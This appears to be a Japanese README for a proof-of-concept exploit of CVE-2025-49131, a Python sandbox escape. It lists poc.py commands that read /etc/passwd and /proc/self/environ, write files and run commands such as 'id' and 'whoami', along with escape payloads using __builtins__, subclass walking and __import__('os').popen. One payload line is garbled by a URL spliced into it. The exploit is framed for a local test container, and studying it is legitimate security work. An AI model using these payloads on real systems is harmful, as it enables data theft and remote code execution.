# このリポジトリをクローン
git clone https://github.com/Wenura17125/cve-2025-49131-poc.git
cd cve-2025-49131-poc

# 依存関係をインストール
pip install -r requirements.txt

# 脆弱性検出を実行
python poc.py --target http://localhost:3001 --detect

# ファイルを読み取り
python poc.py --target http://localhost:3001 --read /etc/passwd

# RCE を試行
python poc.py --target http://localhost:3001 --rce "id"

# 脆弱なコンテナと修正済みコンテナを起動
docker-compose up -d

# 脆弱なサンドボックス: ポート 3001
# 修正済みサンドボックス: ポート 3002

python poc.py --target http://localhost:3001 --detect -v

python poc.py --target http://localhost:3001 --read /etc/passwd
python poc.py --target http://localhost:3001 --read /proc/self/environ

python poc.py --target http://localhost:3001 --write /tmp/pwned --content "CVE-2025-49131"

python poc.py --target http://localhost:3001 --import os
python poc.py --target http://localhost:3001 --import subprocess

python poc.py --target http://localhost:3001 --env

python poc.py --target http://localhost:3001 --rce "whoami"
python poc.py --target http://localhost:3001 --rce "cat /etc/passwd"

python poc.py --help

cve-2025-49131-poc/
├── poc.py                # メインのエクスプロイトスクリプト
├── payloads.py           # ペイロード生成ライブラリ
├── docker-compose.yml    # テスト環境
├── requirements.txt      # Python 依存関係
├── README.md             # このファイル
└── tests/
    └── test_exploit.py   # 自動テスト

┌─────────────────────────────────────────────┐
│ 1. 悪意のあるコードをサンドボックス API に送信   │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 2. 以下を使用してサンドボックス制限を回避:     │
│    - __builtins__ の操作                     │
│    - サブクラスウォーキング                    │
│    - インポート回避手法                       │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 3. 以下へのアクセスを取得:                    │
│    - ファイルシステム (読み取り/書き込み)       │
│    - os/subprocess モジュール                 │
│    - 環境変数                                │
└─────────────────────────────────────────────┘
                      │
                      ▼
┌─────────────────────────────────────────────┐
│ 4. 影響:                                    │
│    - データ流出                              │
│    - コード注入                              │
│    - リモートコマンド実行                     │
└─────────────────────────────────────────────┘

open('/etc/passwd', 'r').read()
__builtins__.open('/etc/passwd').read()

__import__('os')
__builtins__.__import__('os')
[x for x in ().__class__.__base__.__subclasses__() 
 if x.__name__=='catch_warnings'][0]()._module.__builtins__['__import__'](https://github.com/wenura17125/cve-2025-49131-poc/blob/main/%27os%27)

__import__('os').popen('id').read()
__import__('subprocess').check_output('id', shell=True)